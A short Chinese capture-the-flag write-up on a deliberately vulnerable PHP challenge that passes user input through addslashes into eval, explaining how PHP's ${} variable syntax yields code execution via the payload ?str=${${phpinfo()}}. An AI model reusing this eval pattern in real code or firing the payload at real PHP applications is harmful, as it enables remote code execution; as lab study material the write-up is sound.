源码:
<?
#GOAL: gather some phpinfo();
function flag(){
echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>
PHP中花括号的用法:
字符串${foobar}
中的foobar会被当作变量来处理
详情参考: http://php.net/manual/en/language.variables.variable.php
根据其特性构造payload:
?str=${${phpinfo()}}
flag在flag()中
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.